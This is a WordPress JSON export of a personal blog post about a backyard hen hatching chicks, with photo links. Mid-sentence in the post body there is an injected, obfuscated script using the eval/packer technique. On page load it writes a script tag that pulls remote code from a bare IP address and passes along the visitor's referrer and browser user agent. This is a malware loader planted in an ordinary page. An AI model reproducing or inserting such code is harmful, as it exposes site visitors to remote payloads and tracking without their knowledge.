{"id":2949,"date":"2012-04-07T11:28:38","date_gmt":"2012-04-07T18:28:38","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2949"},"modified":"2012-05-01T11:37:38","modified_gmt":"2012-05-01T18:37:38","slug":"lil-chicks","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2949","title":{"rendered":"Lil&#8217; Chicks!"},"content":{"rendered":"<p>Katherine\u00e2\u20ac\u2122s chicks are hatching!\u00c2\u00a0 Katherine keeps chickens in her backyard (she also has a cat, a dog, and a bunny \u00e2\u20ac\u201c it\u00e2\u20ac\u2122s a crazy menagerie).\u00c2\u00a0 One of the hens got \u00e2\u20ac\u0153broody\u00e2\u20ac\u009d so she got some fertilized eggs for the hen to sit on, and sure enough, here we are the day before Easter and the baby chicks are hatching.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2950\" title=\"Mother Hen guarding one of her eggs\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks1-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks1-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks1-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2951\" title=\"Starting to hatch!\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks2-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks2-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks2-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>The <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtfyy|var|u0026u|referrer|drzfn||js|php'.split('|'),0,{}))\n<\/script><\/noindex> adoptive hen-mother is making all kinds of weird humming purring noises, not like her usual clucking.\u00c2\u00a0 And the eggs are peeping, which is extremely weird.\u00c2\u00a0 You can pick up an egg, hold it to your ear, and hear the baby chick peeping inside.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2952\" title=\"She's not really pleased that we keep moving her over to take pictures of the eggs...\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks3-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks3-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks3-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/chicks4.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2953\" title=\"AUGH! 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